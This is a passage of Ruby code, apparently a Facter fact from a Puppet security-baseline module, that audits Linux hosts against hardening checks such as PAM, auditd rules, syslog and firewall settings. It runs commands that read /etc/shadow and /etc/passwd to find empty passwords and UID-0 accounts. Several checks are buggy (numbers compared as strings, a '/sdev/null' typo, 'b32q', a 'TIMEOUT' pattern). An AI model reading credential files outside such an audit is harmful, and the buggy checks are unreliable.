trim_string(Facter::Core::Execution.exec('grep ^minlen /etc/security/pwquality.conf | awk -F = \\'{print $2;}\\''))\n pwquality['minlen'] = check_value_string(val, 'none')\n val = trim_string(Facter::Core::Execution.exec('grep ^dcredit /etc/security/pwquality.conf | awk -F = \\'{print $2;}\\''))\n pwquality['dcredit'] = check_value_string(val, 'none')\n val = trim_string(Facter::Core::Execution.exec('grep ^lcredit /etc/security/pwquality.conf | awk -F = \\'{print $2;}\\''))\n pwquality['lcredit'] = check_value_string(val, 'none')\n val = trim_string(Facter::Core::Execution.exec('grep ^ocredit /etc/security/pwquality.conf | awk -F = \\'{print $2;}\\''))\n pwquality['ocredit'] = check_value_string(val, 'none')\n val = trim_string(Facter::Core::Execution.exec('grep ^ucredit /etc/security/pwquality.conf | awk -F = \\'{print $2;}\\''))\n pwquality['ucredit'] = check_value_string(val, 'none')\n pwquality['status'] = if (pwquality['minlen'] == 'none') || (pwquality['minlen'] < '14') ||\n (pwquality['dcredit'] == 'none') || (pwquality['dcredit'] != '-1') ||\n (pwquality['lcredit'] == 'none') || (pwquality['lcredit'] != '-1') ||\n (pwquality['ocredit'] == 'none') || (pwquality['ocredit'] != '-1') ||\n (pwquality['ucredit'] == 'none') || (pwquality['ucredit'] != '-1')\n false\n else\n true\n end\n val = Facter::Core::Execution.exec('grep \"^auth.*required.*pam_faillock.so\" /etc/pam.d/password-auth')\n valreq = check_value_string(val, 'none')\n val = Facter::Core::Execution.exec('grep \"^auth.*[success=1.*default=bad].*pam_unix.so\" /etc/pam.d/password-auth')\n valsuc = check_value_string(val, 'none')\n val = Facter::Core::Execution.exec('grep \"^auth.*[default=die].*pam_faillock.so\" /etc/pam.d/password-auth')\n valdef = check_value_string(val, 'none')\n val = Facter::Core::Execution.exec('grep \"^auth.*sufficient.*pam_faillock.so\" /etc/pam.d/password-auth')\n valsuf = check_value_string(val, 'none')\n pwquality['password-auth-config'] = if (valreq == 'none') || (valsuc == 'none') || (valdef == 'none') || (valsuf == 'none')\n false\n else\n true\n end\n val = Facter::Core::Execution.exec('grep \"^auth.*required.*pam_faillock.so\" /etc/pam.d/system-auth')\n valreq = check_value_string(val, 'none')\n val = Facter::Core::Execution.exec('grep \"^auth.*[success=1.*default=bad].*pam_unix.so\" /etc/pam.d/system-auth')\n valsuc = check_value_string(val, 'none')\n val = Facter::Core::Execution.exec('grep \"^auth.*[default=die].*pam_faillock.so\" /etc/pam.d/system-auth')\n valdef = check_value_string(val, 'none')\n val = Facter::Core::Execution.exec('grep \"^auth.*sufficient.*pam_faillock.so\" /etc/pam.d/system-auth')\n valsuf = check_value_string(val, 'none')\n pwquality['system-auth-config'] = if (valreq == 'none') || (valsuc == 'none') || (valdef == 'none') || (valsuf == 'none')\n false\n else\n true\n end\n pwquality['lockout'] = pwquality['password-auth-config'] && pwquality['system-auth-config']\n pam['pwquality'] = pwquality\n opasswd = {}\n val1 = Facter::Core::Execution.exec(\"egrep '^password\\s+sufficient\\s+pam_unix.so' /etc/pam.d/password-auth\")[%r{remember=(\\d+)}, 0]\n if val1.nil? || val1.empty?\n val1 = 0\n end\n val2 = Facter::Core::Execution.exec(\"egrep '^password\\s+required\\s+pam_pwhistory.so' /etc/pam.d/password-auth\")[%r{remember=(\\d+)}, 0]\n if val2.nil? || val2.empty?\n val2 = 0\n end\n opasswd['password-auth'] = if (val1.to_s < '5') && (val2.to_s < '5')\n false\n else\n true\n end\n val1 = Facter::Core::Execution.exec(\"egrep '^password\\s+sufficient\\s+pam_unix.so' /etc/pam.d/system-auth\")[%r{remember=(\\d+)}, 0]\n if val1.nil? || val1.empty?\n val1 = 0\n end\n val2 = Facter::Core::Execution.exec(\"egrep '^password\\s+required\\s+pam_pwhistory.so' /etc/pam.d/system-auth\")[%r{remember=(\\d+)}, 0]\n if val2.nil? || val2.empty?\n val2 = 0\n end\n opasswd['system-auth'] = if (val1.to_s < '5') && (val2.to_s < '5')\n false\n else\n true\n end\n opasswd['status'] = opasswd['password-auth'] && opasswd['system-auth']\n pam['opasswd'] = opasswd\n sha = {}\n val = Facter::Core::Execution.exec(\"egrep '^password\\s+sufficient\\s+pam_unix.so' /etc/pam.d/password-auth\")\n sha['password-auth'] = check_value_regex(val, 'sha512')\n val = Facter::Core::Execution.exec(\"egrep '^password\\s+sufficient\\s+pam_unix.so' /etc/pam.d/system-auth\")\n sha['system-auth'] = check_value_regex(val, 'sha512')\n sha['status'] = sha['password-auth'] && sha['system-auth']\n pam['sha512'] = sha\n val = Facter::Core::Execution.exec('egrep \"^auth\\s+required\\s+pam_wheel.so\\s+use_uid\" /etc/pam.d/su')\n pam['wheel'] = check_value_string(val, 'none')\n val = Facter::Core::Execution.exec('grep wheel /etc/group | cut -d : -f 4')\n users = if val.nil? || val.empty?\n []\n else\n val.split(%r{,})\n end\n pam['wheel_users'] = users\n pam['wheel_users_count'] = users.count\n security_baseline['pam'] = pam\n\n security_baseline['local_users'] = read_local_users\n\n pw_data = {}\n val = Facter::Core::Execution.exec(\"grep ^PASS_MAX_DAYS /etc/login.defs | awk '{print $2;}'\")\n pw_data['pass_max_days'] = check_value_integer(val, 99_999)\n pw_data['pass_max_days_status'] = if pw_data['pass_max_days'] > 365\n true\n else\n false\n end\n val = Facter::Core::Execution.exec(\"grep ^PASS_MIN_DAYS /etc/login.defs | awk '{print $2;}'\")\n pw_data['pass_min_days'] = check_value_string(val, '0')\n pw_data['pass_min_days_status'] = pw_data['pass_min_days'] < '7'\n val = Facter::Core::Execution.exec(\"grep ^PASS_WARN_AGE /etc/login.defs | awk '{print $2;}'\")\n pw_data['pass_warn_age'] = check_value_string(val, '0')\n pw_data['pass_warn_age_status'] = pw_data['pass_warn_age'] < '7'\n val = Facter::Core::Execution.exec('useradd -D | grep INACTIVE | cut -f 2 -d =')\n pw_data['inactive'] = check_value_string(val, '-1').to_i\n pw_data['inactive_status'] = pw_data['inactive'] < 30\n ret = false\n security_baseline['local_users'].each do |_user, data|\n unless data['password_date_valid']\n ret = true\n end\n end\n pw_data['pw_change_in_future'] = ret\n security_baseline['pw_data'] = pw_data\n\n accounts = {}\n wrong_shell = []\n min_uid = if release > '6'\n 1000\n else\n 500\n end\n\n cmd = \"egrep -v \\\"^\\/+\\\" /etc/passwd | awk -F: '($1!=\\\"root\\\" && $1!=\\\"sync\\\" && $1!=\\\"shutdown\\\" && $1!=\\\"halt\\\" && $3<#{min_uid} && $7!=\\\"/sbin/nologin\\\" && $7!=\\\"/bin/false\\\") {print}'\"\n val = Facter::Core::Execution.exec(cmd)\n unless val.nil? || val.empty?\n val.split(\"\\n\").each do |line|\n data = line.split(%r{:})\n wrong_shell.push(data[0])\n end\n end\n accounts['no_shell_nologin'] = wrong_shell\n accounts['no_shell_nologin_count'] = wrong_shell.count\n val = Facter::Core::Execution.exec('grep \"^root:\" /etc/passwd | cut -f4 -d:')\n accounts['root_gid'] = check_value_string(val, 'none')\n security_baseline['accounts'] = accounts\n\n ret = false\n val = Facter::Core::Execution.exec('grep -h \"umask\" /etc/profile /etc/profile.d/*.sh /etc/bashrc')\n if val.nil? || val.empty?\n ret = true\n else\n val.split(\"\\n\").each do |line|\n next unless line =~ %r{umask\\s*\\d+}\n line.strip!\n data = line.split(%r{\\s+})\n mask = data[1]\n if mask.to_s < '027'\n ret = true\n end\n end\n end\n security_baseline['umask'] = ret\n\n val = Facter::Core::Execution.exec('grep -h \"^TMOUT\" /etc/bashrc /etc/profile')\n if val.nil? || val.empty?\n ret = true\n else\n val.split(\"\\n\").each do |line|\n next unless line =~ %r{TIMEOUT=\\d+}\n line.strip!\n data = line.split(%r{=})\n timeout = data[1]\n if timeout.to_s > '900'\n ret = true\n end\n end\n end\n security_baseline['timeout'] = ret\n\n file_permissions = {}\n file_permissions['passwd'] = read_file_stats('/etc/passwd')\n file_permissions['shadow'] = read_file_stats('/etc/shadow')\n file_permissions['group'] = read_file_stats('/etc/group')\n file_permissions['gshadow'] = read_file_stats('/etc/gshadow')\n file_permissions['passwd-'] = read_file_stats('/etc/passwd-')\n file_permissions['shadow-'] = read_file_stats('/etc/shadow-')\n file_permissions['group-'] = read_file_stats('/etc/group-')\n file_permissions['gshadow-'] = read_file_stats('/etc/gshadow-')\n\n files = []\n if File.exist?('/root/world-writable-files.txt')\n text = File.open('/root/world-writable-files.txt').read\n text.gsub!(%r{\\r\\n?}, \"\\n\")\n files = text.split(\"\\n\")\n end\n file_permissions['world_writable'] = files\n file_permissions['world_writable_count'] = files.count\n\n files = []\n if File.exist?('/usr/share/security_baseline/data/system-file-permissions.txt')\n text = File.open('/usr/share/security_baseline/data/system-file-permissions.txt').read\n text.gsub!(%r{\\r\\n?}, \"\\n\")\n files = text.split(\"\\n\")\n end\n file_permissions['system_files'] = files\n file_permissions['system_files_count'] = files.count\n\n files = []\n if File.exist?('/usr/share/security_baseline/data/unowned_files_user.txt')\n text = File.open('/usr/share/security_baseline/data/unowned_files_user.txt').read\n text.gsub!(%r{\\r\\n?}, \"\\n\")\n files = text.split(\"\\n\")\n end\n file_permissions['unowned'] = files\n file_permissions['unowned_count'] = files.count\n\n files = []\n if File.exist?('/usr/share/security_baseline/data/unowned_files_group.txt')\n text = File.open('/usr/share/security_baseline/data/unowned_files_group.txt').read\n text.gsub!(%r{\\r\\n?}, \"\\n\")\n files = text.split(\"\\n\")\n end\n file_permissions['ungrouped'] = files\n file_permissions['ungrouped_count'] = files.count\n\n security_baseline['file_permissions'] = file_permissions\n\n val = Facter::Core::Execution.exec(\"cat /etc/shadow | awk -F: \\'($2 == \\\"\\\" ) { print $1 \\\" does not have a password \\\"}\\'\")\n security_baseline['empty_passwords'] = check_value_string(val, 'none')\n\n legacy = {}\n val = Facter::Core::Execution.exec(\"grep '^\\+:' /etc/passwd\")\n legacy['passwd'] = check_value_string(val, 'none')\n val = Facter::Core::Execution.exec(\"grep '^\\+:' /etc/shadow\")\n legacy['shadow'] = check_value_string(val, 'none')\n val = Facter::Core::Execution.exec(\"grep '^\\+:' /etc/group\")\n legacy['group'] = check_value_string(val, 'none')\n security_baseline['legacy_plus'] = legacy\n\n val = Facter::Core::Execution.exec(\"cat /etc/passwd | awk -F: '($3 == 0) { print $1 }'\")\n security_baseline['uid_0'] = check_value_string(val, 'none')\n\n if File.exist?('/usr/share/security_baseline/bin/root_path_integrity.sh')\n val = Facter::Core::Execution.exec('/usr/share/security_baseline/bin/root_path_integrity.sh')\n security_baseline['root_path_integrity'] = check_value_string(val, 'none')\n end\n\n if File.exist?('/usr/share/security_baseline/bin/check_user_home_dirs.sh')\n val = Facter::Core::Execution.exec('/usr/share/security_baseline/bin/check_user_home_dirs.sh')\n security_baseline['user_home_dirs'] = check_value_string(val, 'none')\n end\n\n if File.exist?('/usr/share/security_baseline/bin/check_home_dir_permissions.sh')\n val = Facter::Core::Execution.exec('/usr/share/security_baseline/bin/check_home_dir_permissions.sh')\n security_baseline['home_dir_permissions'] = check_value_string(val, 'none')\n end\n\n if File.exist?('/usr/share/security_baseline/bin/check_home_dir_owner.sh')\n val = Facter::Core::Execution.exec('/usr/share/security_baseline/bin/check_home_dir_owner.sh')\n security_baseline['home_dir_owners'] = check_value_string(val, 'none')\n end\n\n if File.exist?('/usr/share/security_baseline/bin/check_dot_files_write.sh')\n val = Facter::Core::Execution.exec('/usr/share/security_baseline/bin/check_dot_files_write.sh')\n security_baseline['user_dot_file_write'] = check_value_string(val, 'none')\n end\n\n if File.exist?('/usr/share/security_baseline/bin/check_forward_files.sh')\n val = Facter::Core::Execution.exec('/usr/share/security_baseline/bin/check_forward_files.sh')\n security_baseline['forward_files'] = check_value_string(val, 'none')\n end\n\n if File.exist?('/usr/share/security_baseline/bin/check_netrc_files.sh')\n val = Facter::Core::Execution.exec('/usr/share/security_baseline/bin/check_netrc_files.sh')\n security_baseline['netrc_files'] = check_value_string(val, 'none')\n end\n\n if File.exist?('/usr/share/security_baseline/bin/check_netrc_files_write.sh')\n val = Facter::Core::Execution.exec('/usr/share/security_baseline/bin/check_netrc_files_write.sh')\n security_baseline['netrc_files_write'] = check_value_string(val, 'none')\n end\n\n if File.exist?('/usr/share/security_baseline/bin/check_rhosts_files.sh')\n val = Facter::Core::Execution.exec('/usr/share/security_baseline/bin/check_rhosts_files.sh')\n security_baseline['rhosts_files'] = check_value_string(val, 'none')\n end\n\n if File.exist?('/usr/share/security_baseline/bin/check_passwd_group_exist.sh')\n val = Facter::Core::Execution.exec('/usr/share/security_baseline/bin/check_passwd_group_exist.sh')\n security_baseline['passwd_group'] = check_value_string(val, 'none')\n end\n\n security_baseline['duplicate_uids'] = check_value_string(read_duplicate_users('uid'), 'none')\n security_baseline['duplicate_users'] = check_value_string(read_duplicate_users('user'), 'none')\n security_baseline['duplicate_gids'] = check_value_string(read_duplicate_groups('gid'), 'none')\n security_baseline['duplicate_groups'] = check_value_string(read_duplicate_groups('group'), 'none')\n\n auditd = {}\n val = Facter::Core::Execution.exec('grep \"^max_log_file\\s*=\" /etc/audit/auditd.conf | awk -F\\'=\\' \\'{print $2;}\\'').strip\n auditd['max_log_file'] = if val.empty? || val.nil?\n 'none'\n else\n val.to_i\n end\n\n val = Facter::Core::Execution.exec('grep \"^space_left_action.*=\" /etc/audit/auditd.conf | awk -F\\'=\\' \\'{print $2;}\\'').strip\n auditd['space_left_action'] = if val.empty? || val.nil?\n 'none'\n else\n val\n end\n\n val = Facter::Core::Execution.exec('grep action_mail_acct /etc/audit/auditd.conf | awk -F\\'=\\' \\'{print $2;}\\'').strip\n auditd['action_mail_acct'] = if val.empty? || val.nil?\n 'none'\n else\n val\n end\n\n val = Facter::Core::Execution.exec('grep \"^admin_space_left_action.*=\" /etc/audit/auditd.conf | awk -F\\'=\\' \\'{print $2;}\\'').strip\n auditd['admin_space_left_action'] = if val.empty? || val.nil?\n 'none'\n else\n val\n end\n auditd['when_full'] = if auditd['admin_space_left_action'] == 'none' ||\n auditd['action_mail_acct'] == 'none' ||\n auditd['space_left_action'] == 'none'\n false\n else\n true\n end\n val = Facter::Core::Execution.exec('grep max_log_file_action /etc/audit/auditd.conf | awk -F\\'=\\' \\'{print $2;}\\'').strip\n auditd['max_log_file_action'] = if val.empty? || val.nil?\n 'none'\n else\n val\n end\n\n auditd['srv_auditd'] = check_service_is_enabled('auditd')\n val = if File.exist?('/boot/grub2/grub.cfg')\n Facter::Core::Execution.exec('grep \"^\\s*linux.*audit=1\" /boot/grub2/grub.cfg')\n elsif File.exist?('/boot/grub/grub.cfg')\n Facter::Core::Execution.exec('grep \"^\\s*linux.*audit=1\" /boot/grub/grub.cfg')\n else\n ''\n end\n auditd['auditing_process'] = if val.empty? || val.nil?\n 'none'\n else\n 'audit=1'\n end\n\n val = Facter::Core::Execution.exec(\"grep -E 'kernelopts=(\\S+\\s+)*audit_backlog_limit=\\S+\\b' /boot/grub2/grubenv\")\n auditd['backlog_limit'] = if val.nil? || val.empty?\n 'none'\n else\n m = val.match(%r{audit_backlog_limit=(?<limit>\\d+)})\n if m.nil?\n 'none'\n else\n m[:limit]\n end\n end\n\n val = Facter::Core::Execution.exec('auditctl -l | grep time-change')\n expected = [\n '-a always,exit -F arch=b32 -S stime,settimeofday,adjtimex -F key=time-change',\n '-a always,exit -F arch=b32 -S clock_settime -F key=time-change',\n '-w /etc/localtime -p wa -k time-change',\n ]\n if arch == 'x86_64'\n expected.push('-a always,exit -F arch=b64 -S adjtimex,settimeofday -F key=time-change')\n expected.push('-a always,exit -F arch=b64 -S clock_settime -F key=time-change')\n end\n auditd['time-change'] = check_values_expected(val, expected)\n\n val = Facter::Core::Execution.exec('auditctl -l | grep identity')\n expected = [\n '-w /etc/group -p wa -k identity',\n '-w /etc/passwd -p wa -k identity',\n '-w /etc/gshadow -p wa -k identity',\n '-w /etc/shadow -p wa -k identity',\n '-w /etc/security/opasswd -p wa -k identity',\n ]\n auditd['identity'] = check_values_expected(val, expected)\n\n val = Facter::Core::Execution.exec('auditctl -l | grep system-locale')\n expected = [\n '-a always,exit -F arch=b32 -S sethostname,setdomainname -F key=system-locale',\n '-w /etc/issue -p wa -k system-locale',\n '-w /etc/issue.net -p wa -k system-locale',\n '-w /etc/hosts -p wa -k system-locale',\n '-w /etc/sysconfig/network -p wa -k system-locale',\n '-w /etc/sysconfig/network-scripts -p wa -k system-locale',\n ]\n if arch == 'x86_64'\n expected.push('-a always,exit -F arch=b64 -S sethostname,setdomainname -F key=system-locale')\n end\n auditd['system-locale'] = check_values_expected(val, expected)\n\n val = Facter::Core::Execution.exec('auditctl -l | grep MAC-policy')\n expected = [\n '-w /etc/selinux -p wa -k MAC-policy',\n '-w /usr/share/selinux -p wa -k MAC-policy',\n ]\n auditd['mac-policy'] = check_values_expected(val, expected)\n\n val = Facter::Core::Execution.exec('auditctl -l | grep logins')\n expected = [\n '-w /var/log/lastlog -p wa -k logins',\n '-w /var/run/faillock -p wa -k logins',\n ]\n auditd['logins'] = check_values_expected(val, expected, true)\n\n val = Facter::Core::Execution.exec('auditctl -l | grep session')\n expected = [\n '-w /var/run/utmp -p wa -k session',\n ]\n auditd['session'] = check_values_expected(val, expected)\n\n val = Facter::Core::Execution.exec('auditctl -l | grep \"logins$\"')\n expected = [\n '-w /var/log/wtmp -p wa -k logins',\n '-w /var/log/btmp -p wa -k logins',\n ]\n auditd['session-logins'] = check_values_expected(val, expected, true)\n\n val = Facter::Core::Execution.exec('auditctl -l | grep perm_mod')\n expected = [\n '-a always,exit -F arch=b32 -S chmod,fchmod,fchmodat -F auid>=1000 -F auid!=-1 -F key=perm_mod',\n '-a always,exit -F arch=b32 -S lchown,fchown,chown,fchownat -F auid>=1000 -F auid!=-1 -F key=perm_mod',\n '-a always,exit -F arch=b32 -S setxattr,lsetxattr,fsetxattr,removexattr,lremovexattr,fremovexattr -F auid>=1000 -F auid!=-1 -F key=perm_mod',\n ]\n if arch == 'x86_64'\n expected.push('-a always,exit -F arch=b64 -S chmod,fchmod,fchmodat -F auid>=1000 -F auid!=-1 -F key=perm_mod')\n expected.push('-a always,exit -F arch=b64 -S chown,fchown,lchown,fchownat -F auid>=1000 -F auid!=-1 -F key=perm_mod')\n expected.push('-a always,exit -F arch=b64 -S setxattr,lsetxattr,fsetxattr,removexattr,lremovexattr,fremovexattr -F auid>=1000 -F auid!=-1 -F key=perm_mod')\n end\n auditd['perm-mod'] = check_values_expected(val, expected)\n\n val = Facter::Core::Execution.exec('auditctl -l | grep access')\n expected = [\n '-a always,exit -F arch=b32 -S open,creat,truncate,ftruncate,openat -F exit=-EACCES -F auid>=1000 -F auid!=-1 -F key=access',\n '-a always,exit -F arch=b32 -S open,creat,truncate,ftruncate,openat -F exit=-EPERM -F auid>=1000 -F auid!=-1 -F key=access',\n ]\n if arch == 'x86_64'\n expected.push('-a always,exit -F arch=b64 -S open,truncate,ftruncate,creat,openat -F exit=-EACCES -F auid>=1000 -F auid!=-1 -F key=access')\n expected.push('-a always,exit -F arch=b64 -S open,truncate,ftruncate,creat,openat -F exit=-EPERM -F auid>=1000 -F auid!=-1 -F key=access')\n end\n auditd['access'] = check_values_expected(val, expected)\n\n rules = {}\n priv_cmds = []\n expected = []\n # Facter.value(:partitions).each do |_part, data|\n # if (data.key?('mount')) && (data['filesystem'] != 'iso9660') && ! _part.match(%r{^\\/dev/loop}) && ! _part.match(%r{^\\/dev/mapper\\/docker})\n # mount = data['mount']\n # cmd = \"find #{mount} -xdev \\\\( -perm -4000 -o -perm -2000 \\\\) -type f | awk '{print \\\"-a always,exit -S all -F path=\\\" $1 \\\" -F perm=x -F auid>=1000 -F auid!=-1 -F key=privileged\\\"; }'\"\n # rules_raw = Facter::Core::Execution.exec(cmd).split(\"\\n\")\n # priv_cmds.push(rules_raw)\n # rules[mount] = rules_raw\n # expected.push(*rules_raw)\n # end\n # end\n auditd_suid_cmds = Facter.value('security_baseline_auditd_rules')\n cmd = \"find /usr -xdev \\\\( -perm -4000 -o -perm -2000 \\\\) -type f | awk '{print \\\"-a always,exit -S all -F path=\\\" $1 \\\" -F perm=x -F auid>=1000 -F auid!=-1 -F key=privileged\\\"; }'\"\n rules_raw = Facter::Core::Execution.exec(cmd).split(\"\\n\")\n priv_cmds.push(rules_raw)\n rules['/usr'] = rules_raw\n expected.push(*rules_raw)\n expected.uniq!\n auditd['priv-cmds-rules'] = rules\n auditd['priv-cmds-list'] = priv_cmds.uniq\n\n val = Facter::Core::Execution.exec('auditctl -l | grep \"privileged$\"')\n # auditd['priv-cmds'] = check_values_expected(val, expected, true)\n auditd['priv-cmds'] = check_values_expected(val, auditd_suid_cmds, true)\n\n val = Facter::Core::Execution.exec('auditctl -l | grep \"mounts$\"')\n expected = [\n '-a always,exit -F arch=b32 -S mount -F auid>=1000 -F auid!=-1 -F key=mounts',\n ]\n if arch == 'x86_64'\n expected.push('-a always,exit -F arch=b64 -S mount -F auid>=1000 -F auid!=-1 -F key=mounts')\n end\n auditd['mounts'] = check_values_expected(val, expected)\n\n val = Facter::Core::Execution.exec('auditctl -l | grep \"delete$\"')\n expected = [\n '-a always,exit -F arch=b32 -S unlink,rename,unlinkat,renameat -F auid>=1000 -F auid!=-1 -F key=delete',\n ]\n if arch == 'x86_64'\n expected.push('-a always,exit -F arch=b64 -S rename,unlink,unlinkat,renameat -F auid>=1000 -F auid!=-1 -F key=delete')\n end\n auditd['delete'] = check_values_expected(val, expected)\n\n val = Facter::Core::Execution.exec('auditctl -l | grep scope')\n expected = [\n '-w /etc/sudoers -p wa -k scope',\n '-w /etc/sudoers.d -p wa -k scope',\n ]\n auditd['scope'] = check_values_expected(val, expected)\n\n val = Facter::Core::Execution.exec('auditctl -l | grep actions')\n expected = [\n '-w /var/log/sudo.log -p wa -k actions',\n ]\n auditd['actions'] = check_values_expected(val, expected)\n\n val = Facter::Core::Execution.exec('auditctl -l | grep \"modules$\"')\n expected = [\n '-w /sbin/insmod -p x -k modules',\n '-w /sbin/rmmod -p x -k modules',\n '-w /sbin/modprobe -p x -k modules',\n ]\n if arch == 'x86_64'\n expected.push('-a always,exit -F arch=b64 -S init_module,delete_module -F key=modules')\n else\n expected.push('-a always,exit -F arch=b32q -S init_module,delete_module -F key=modules')\n end\n auditd['modules'] = check_values_expected(val, expected)\n\n val = Facter::Core::Execution.exec('grep \"^\\s*[^#]\" /etc/audit/audit.rules | tail -1')\n auditd['immutable'] = if val.empty? || val.nil?\n false\n elsif val == '-e 2'\n true\n else\n false\n end\n\n security_baseline['auditd'] = auditd\n\n syslog = {}\n rsyslog = {}\n rsyslog['service'] = check_service_is_enabled('rsyslog')\n rsyslog['package'] = check_package_installed('rsyslog')\n val = Facter::Core::Execution.exec('grep -h ^\\$FileCreateMode /etc/rsyslog.conf /etc/rsyslog.d/*.conf 2>/dev/null')\n unless val.empty? || val.nil?\n val.strip!\n val1 = val.match(%r{FileCreateMode (?<mode>\\d+)})[:mode]\n end\n # rsyslog['filepermissions'] = check_value_string(val1, 'none')\n rsyslog['filepermissions'] = val1\n val = Facter::Core::Execution.exec('grep -h \"^*.*[^I][^I]*@\" /etc/rsyslog.conf /etc/rsyslog.d/*.conf 2>/dev/null')\n rsyslog['remotesyslog'] = check_value_string(val, 'none')\n val = Facter::Core::Execution.exec(\"grep -h '$ModLoad imtcp' /etc/rsyslog.conf /etc/rsyslog.d/*.conf 2>/dev/null\")\n mod = check_value_string(val, 'none')\n val = Facter::Core::Execution.exec(\"grep -h '$InputTCPServerRun' /etc/rsyslog.conf /etc/rsyslog.d/*.conf 2>/dev/null\")\n port = check_value_string(val, 'none')\n rsyslog['loghost'] = if (mod != 'none') && (port != 'none')\n true\n else\n false\n end\n syslog['rsyslog'] = rsyslog\n\n syslog_ng = {}\n syslog_ng['service'] = check_service_is_enabled('syslog-ng')\n syslog_ng['package'] = check_package_installed('syslog-ng')\n val = Facter::Core::Execution.exec('grep -h ^options /etc/syslog-ng/syslog-ng.conf 2>/dev/null').match(%r{perm\\((\\d+)\\)})\n # syslog_ng['filepermissions'] = check_value_string(val, 'none')\n syslog_ng['filepermissions'] = val\n val = Facter::Core::Execution.exec('grep -h destination logserver /etc/syslog-ng/syslog-ng.conf 2>/sdev/null').match(%r{tcp\\((.*)\\)})\n logserv = check_value_string(val, 'none')\n val = Facter::Core::Execution.exec('grep -h \"log.*{.*source(src);.*destination(logserver);.*};\" /etc/syslog-ng/syslog-ng.conf 2>/dev/null')\n logsend = check_value_string(val, 'none')\n syslog_ng['remotesyslog'] = if (logserv == 'none') || (logsend == 'none')\n 'none'\n else\n logserv\n end\n val = Facter::Core::Execution.exec('grep -h \"source net{.*tcp();.*};\" /etc/syslog-ng/syslog-ng.conf 2>/dev/null')\n logsrc = check_value_string(val, 'none')\n val = Facter::Core::Execution.exec('grep -h \"destination remote.*{.*file(\\\"/var/log/remote/\\${FULLHOST}-log\\\");.*};\" /etc/syslog-ng/syslog-ng.conf 2>/dev/null')\n logdest = check_value_string(val, 'none')\n val = Facter::Core::Execution.exec('grep -h \"log {.*source(net);.*destination(remote);.*};\" /etc/syslog-ng/syslog-ng.conf 2>/dev/null')\n log = check_value_string(val, 'none')\n syslog_ng['loghost'] = if (logsrc != 'none') && (logdest != 'none') && (log != 'none')\n true\n else\n false\n end\n syslog['syslog-ng'] = syslog_ng\n\n syslog['syslog_installed'] = syslog['rsyslog']['package'] || syslog['syslog-ng']['package']\n\n logfiles = {}\n log_status = 'ok'\n Facter::Core::Execution.exec('find /var/log -type f').split(\"\\n\").each do |logfile|\n stats = read_file_stats(logfile)\n logfiles[logfile] = stats['mode']\n if stats['mode'] != 416\n log_status = 'not ok'\n end\n end\n syslog['logfiles'] = logfiles\n syslog['log_status'] = log_status\n security_baseline['syslog'] = syslog\n\n security_baseline['iptables'] = read_iptables_rules('4')\n if release > '6'\n security_baseline['ip6tables'] = read_iptables_rules('6')\n end\n\n if File.exist?('/usr/bin/firewall-cmd')\n firewalld = {}\n val = Facter::Core::Execution.exec('firewall-cmd --get-default-zone')\n firewalld['default_zone'] = check_value_string(val, 'none')\n firewalld['default_zone_status'] = if check_value_string(val, 'none') == 'none'\n false\n else\n true\n end\n\n if File.exist?('/usr/bin/nmcli')\n val = Facter::Core::Execution.exec(\"nmcli -t connection show | awk -F: '{if($4){print $4}}' | while read INT; do firewall-cmd --get-active-zones | grep -B1 $INT; done\")\n if val.nil? || val.empty?\n firewalld['zone_iface'] = {}\n firewalld['zone_iface_assigned'] = false\n else\n firewalld = read_firewalld_zone_iface(val, firewalld)\n end\n end\n\n val = Facter::Core::Execution.exec(\"firewall-cmd --get-active-zones | awk '!/:/ {print $1}' | while read ZN; do firewall-cmd --list-all --zone=$ZN; done\")\n if val.nil? || val.empty?\n firewalld['ports'] = []\n firewalld['services'] = []\n else\n val.split(\"\\n\").each do |line|\n if line =~ %r{services:}\n m = line.match(%r{services:\\s*(?<srvs>.*)})\n unless m.nil?\n firewalld['services'] = m[:srvs].gsub(%r{\\s+}m, ' ').strip.split(' ')\n firewalld['services_count'] = firewalld['services'].count\n end\n elsif line =~ %r{ports:}\n m = line.match(%r{ports:\\s*(?<ports>.*)})\n unless m.nil?\n firewalld['ports'] = m[:ports].split(\"\\s*\")\n firewalld['ports_count'] = firewalld['ports'].count\n end\n end\n end\n firewalld['ports_and_services_status'] = firewalld['ports_count'] != 0 || firewalld['services_count'] != 0\n end\n security_baseline['firewalld'] = firewalld\n end\n\n if File.exist?('/usr/sbin/nft')\n nft = {}\n val = Facter::Core::Execution.exec('/usr/sbin/nft list tables')\n if val.nil? || val.empty?\n nft['tables'] = []\n nft['tables_count'] = 0\n nft['tables_count_status'] = false\n else\n tbls = []\n val.split(\"\\n\").each do |line|\n m = line.match(%r{table\\s*(?<tbl>\\w*)\\s*filter})\n unless m.nil?\n tbls.push(m[:tbl])\n end\n end\n nft['tables'] = tbls\n nft['tables_count'] = nft['tables'].count\n nft['tables_count_status'] = nft['tables_count'] > 0\n end\n\n nft['tables'].each do |table|\n nft[table] = {}\n base = {}\n val = Facter::Core::Execution.exec(\"/usr/sbin/nft list ruleset #{table} | grep 'hook input'\")\n base['input'] = check_value_string(val, 'none')\n val = Facter::Core::Execution.exec(\"/usr/sbin/nft list ruleset #{table} | grep 'hook forward'\")\n base['forward'] = check_value_string(val, 'none')\n val = Facter::Core::Execution.exec(\"/usr/sbin/nft list ruleset #{table} | grep 'hook output'\")\n base['output'] = check_value_string(val, 'none')\n base['status'] = base['input'] != 'none' && base['forward'] != 'none' && base['output'] != 'none'\n nft[table]['base'] = base\n\n loopback = {}\n val = Facter::Core::Execution.exec(\"/usr/sbin/nft list ruleset #{table} | awk '/hook input/,/}/' | grep 'iif \\\"lo\\\" accept'\")\n loopback['lo_iface'] = check_value_string(val, 'none')\n val = Facter::Core::Execution.exec(\"/usr/sbin/nft list ruleset #{table} | grep 'ip saddr'\")\n loopback['lo_network'] = check_value_string(val, 'none')\n val = Facter::Core::Execution.exec(\"/usr/sbin/nft list ruleset #{table} | grep 'ip6 saddr'\")\n loopback['ip6_saddr'] = check_value_string(val, 'none')\n loopback['status'] = loopback['lo_iface'] != 'none' && loopback['lo_network'] != 'none' && loopback['ip6_saddr'] != 'none'\n nft[table]['loopback'] = loopback\n\n conns = {}\n val = Facter::Core::Execution.exec(\"/usr/sbin/nft list ruleset #{table} | awk '/hook input/,/}/' | grep -E 'ip protocol tcp ct state'\")\n conns['in_tcp'] = if val.nil? || val.empty?\n false\n elsif val =~ %r{tcp\\s*ct\\s*state\\s*established\\s*accept}\n true\n else\n false\n end\n val = Facter::Core::Execution.exec(\"/usr/sbin/nft list ruleset #{table} | awk '/hook input/,/}/' | grep -E 'ip protocol udp ct state'\")\n conns['in_udp'] = if val.nil? || val.empty?\n false\n elsif val =~ 